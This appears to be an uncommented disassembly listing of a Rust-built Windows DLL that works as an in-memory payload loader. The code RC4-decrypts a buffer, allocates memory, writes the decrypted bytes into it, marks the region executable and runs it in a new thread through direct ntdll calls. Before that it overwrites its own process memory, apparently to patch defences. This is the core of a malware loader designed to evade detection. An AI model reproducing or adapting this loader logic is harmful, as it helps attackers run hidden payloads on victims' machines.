mov r9, rdi
call sub.ntdll.dll_NtReadVirtualMemory
test eax, eax
jne 0x1000421c
mov rdx, qword [0x104ab028]
and qword [rsp + 0x20], 0
mov rcx, 0xffffffffffffffff
mov r8, rbx
mov r9, rdi
call sub.KERNEL32.dll_WriteProcessMemory
cmp eax, 1
jne 0x1000421c
test rdi, rdi
je 0x10003dd8
mov edx, 4
mov rcx, rbx
call fcn.100043b0
mov rcx, qword [rsp + 0xf0]
mov rdx, qword [rsp + 0xf8]
call fcn.10001516
call fcn.10002826
mov rdx, qword [section..data]
mov r8, qword [0x10037008]
lea rsi, [rsp + 0x1f0]
mov rcx, rsi
call fcn.100017da
mov rax, qword [rsi]
cmp rax, r12
je 0x1000424e
mov qword [rsp + 0x58], rax
lea rsi, [rsp + 0x1f0]
mov rbx, qword [rsi + 8]
mov r14, qword [rsi + 0x10]
mov rdx, qword [0x10037010]
mov r8, qword [0x10037018]
mov rcx, rsi
call fcn.100017da
mov r15, qword [rsi]
cmp r15, r12
je 0x1000426b
mov rdi, r12
lea rsi, [rsp + 0x1f0]
mov r12, qword [rsi + 8]
mov rbp, qword [rsi + 0x10]
mov rdx, qword [0x10037020]
mov r8, qword [0x10037028]
mov rcx, rsi
call fcn.100017da
mov r13, qword [rsi]
cmp r13, rdi
je 0x10004288
lea rdi, [rsp + 0x1f0]
mov rax, qword [rdi + 8]
mov qword [rsp + 0x60], rax
xor esi, esi
lea rcx, [rsp + 0xf0]
mov r8d, 0x100
xor edx, edx
call sub.msvcrt.dll_memset
mov r8d, 0x100
mov rcx, rdi
xor edx, edx
call sub.msvcrt.dll_memset
cmp rsi, 0x100
je 0x10003ef2
mov byte [rsp + rsi + 0xf0], sil
test rbp, rbp
je 0x100040fb
mov rax, rsi
xor edx, edx
div rbp
mov al, byte [r12 + rdx]
mov byte [rsp + rsi + 0x1f0], al
inc rsi
jmp 0x10003ec0
xor eax, eax
xor ecx, ecx
cmp rax, 0x100
je 0x10003f2f
mov dl, byte [rsp + rax + 0xf0]
add cl, dl
add cl, byte [rsp + rax + 0x1f0]
movzx r8d, cl
mov r9b, byte [rsp + r8 + 0xf0]
mov byte [rsp + rax + 0xf0], r9b
inc rax
mov byte [rsp + r8 + 0xf0], dl
jmp 0x10003ef6
xor eax, eax
xor ecx, ecx
xor edx, edx
cmp r14, rax
je 0x10003f8a
inc ecx
movzx ecx, cl
mov r8b, byte [rsp + rcx + 0xf0]
add dl, r8b
add dl, byte [rsp + rcx + 0x1f0]
movzx r9d, dl
mov r10b, byte [rsp + r9 + 0xf0]
mov byte [rsp + rcx + 0xf0], r10b
mov byte [rsp + r9 + 0xf0], r8b
add r8b, byte [rsp + rcx + 0xf0]
movzx r8d, r8b
mov r8b, byte [rsp + r8 + 0xf0]
xor byte [rbx + rax], r8b
inc rax
jmp 0x10003f35
mov rcx, r13
mov rdx, qword [rsp + 0x60]
call fcn.10001516
mov rcx, r15
mov rdx, r12
call fcn.10001516
lea rsi, [rsp + 0x68]
and qword [rsi], 0
and dword [rsp + 0x98], 0
lea r12, [rsp + 0xf0]
mov qword [r12], r14
lea r15, [rsp + 0x1f0]
mov qword [r15], r14
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
mov rcx, 0xffffffffffffffff
mov rdx, rsi
xor r8d, r8d
mov r9, r15
call sub.ntdll.dll_NtAllocateVirtualMemory
mov rdx, qword [rsi]
and qword [rsp + 0x20], 0
mov rcx, 0xffffffffffffffff
mov r8, rbx
mov r9, r14
call sub.ntdll.dll_NtWriteVirtualMemory
lea rax, [rsp + 0x98]
mov qword [rsp + 0x20], rax
mov rcx, 0xffffffffffffffff
mov rdx, rsi
mov r8, r12
mov r9d, 0x20
call sub.ntdll.dll_NtProtectVirtualMemory
and qword [r15], 0
mov rax, qword [rsi]
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x48], xmm0
movdqu xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x20], rax
and dword [rsp + 0x30], 0
and qword [rsp + 0x28], 0
lea rsi, [rsp + 0x1f0]
mov rcx, rsi
mov edx, 0x2000000
xor r8d, r8d
mov r9, 0xffffffffffffffff
call sub.ntdll.dll_NtCreateThreadEx
mov rcx, qword [rsi]
xor edx, edx
xor r8d, r8d
call sub.ntdll.dll_NtWaitForSingleObject
mov rcx, qword [rsp + 0x58]
mov rdx, rbx
call fcn.10001516
movaps xmm6, xmmword [rsp + 0x400]
movaps xmm7, xmmword [rsp + 0x410]
movaps xmm8, xmmword [rsp + 0x420]
movaps xmm9, xmmword [rsp + 0x430]
movaps xmm10, xmmword [rsp + 0x440]
movaps xmm11, xmmword [rsp + 0x450]
movaps xmm12, xmmword [rsp + 0x460]
movaps xmm13, xmmword [rsp + 0x470]
movaps xmm14, xmmword [rsp + 0x480]
movaps xmm15, xmmword [rsp + 0x490]
add rsp, 0x4a8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rcx, str.attempt_to_calculate_the_remainder_with_a_divisor_of_zero_rustc_9b00956e56009bab2aa15d7bff10916599e3d6d6librarycore_src_strpattern.rs
lea r8, [0x1049d900]
mov edx, 0x39
call fcn.10005ac0
xor r13d, r13d
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x20], rax
mov rcx, r14
mov rdx, qword [rsp + 0x80]
mov r8, r13
mov r9, r15
call fcn.10007c20
jmp 0x1000434d
call fcn.1000ba63
mov qword [rsp + 0x88], rax
mov rcx, r14
mov rdx, rdi
call fcn.10035739
xor eax, eax
lea r8, [rsp + 0x1f0]
mov qword [r8], rax
mov rax, qword [rsp + 0x88]
mov qword [r8 + 8], rax
mov qword [r8 + 0x10], r12
mov qword [r8 + 0x18], rsi
lea rax, [0x1049d888]
jmp 0x100041c0
call fcn.10004590
mov ecx, 1
mov rdx, rbx
call fcn.100045d0
call fcn.1000ba63
lea r8, [rsp + 0x1f0]
and qword [r8], 0
mov qword [r8 + 8], rax
mov rax, qword [rsp + 0x58]
mov qword [r8 + 0x10], rax
mov rax, qword [rsp + 0x60]
mov qword [r8 + 0x18], rax
lea rax, [0x1049d8a0]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x1003a0c0]
mov edx, 0x2b
call fcn.10006a00
lea rax, str._root_.cargo_registry_src_index.crates.io_6f17d22bba15001f_winproc_0.6.4_src_process_module.rs
mov edx, 0x104
mov rcx, r8
mov r8, rax
call fcn.10005750
mov r15, qword [rsp + 0x80]
lea rax, str.library_alloc_src_str.rs
mov qword [rsp + 0x90], rax
jmp 0x10004116
lea rcx, [0x1049d840]
call fcn.10006c60
call fcn.10031630
lea r8, str.library_std_src_sys_commonwtf8.rs
mov rcx, rsi
call fcn.10004dd0
jmp 0x1000434d
lea r8, str._root_.cargo_registry_src_index.crates.io_6f17d22bba15001f_winproc_0.6.4_src_process_mod.rs
mov rdx, r15
call fcn.10005750
mov eax, 4
jmp 0x10004158
movups xmm0, xmmword [rsp + 0x1f8]
lea r8, [rsp + 0xf0]
movaps xmmword [r8], xmm0
lea rax, [0x1049d8b8]
jmp 0x100042a3
movups xmm0, xmmword [rsp + 0x1f8]
lea r8, [rsp + 0xf0]
movaps xmmword [r8], xmm0
lea rax, [0x1049d8d0]
jmp 0x100042a3
movups xmm0, xmmword [rsp + 0x1f8]
lea r8, [rsp + 0xf0]
movaps xmmword [r8], xmm0
lea rax, [0x1049d8e8]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x1003a0e0]
jmp 0x100041d3
mov ecx, 2
mov rdx, rdi
call fcn.100045d0
mov qword [rsp + 0x1f8], 8
mov qword [rsp + 0x200], rbx
mov ecx, 8
jmp 0x1000418a
xor ecx, ecx
lea r8, [rsp + 0xf0]
mov byte [r8], cl
lea rax, [0x1049d870]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, case.0x10034706.4
jmp 0x100041d3
mov rsi, r13
lea rax, str.library_std_src_sys_commonwtf8.rs
mov qword [rsp + 0xb0], rax
mov rcx, rsi
mov rdx, qword [rsp + 0x60]
mov r8, qword [rsp + 0xb0]
call fcn.10005750
jmp 0x1000434d
lea r8, str.library_std_src_sys_commonwtf8.rs
mov rcx, rsi
mov rdx, r13
call fcn.10006170
ud2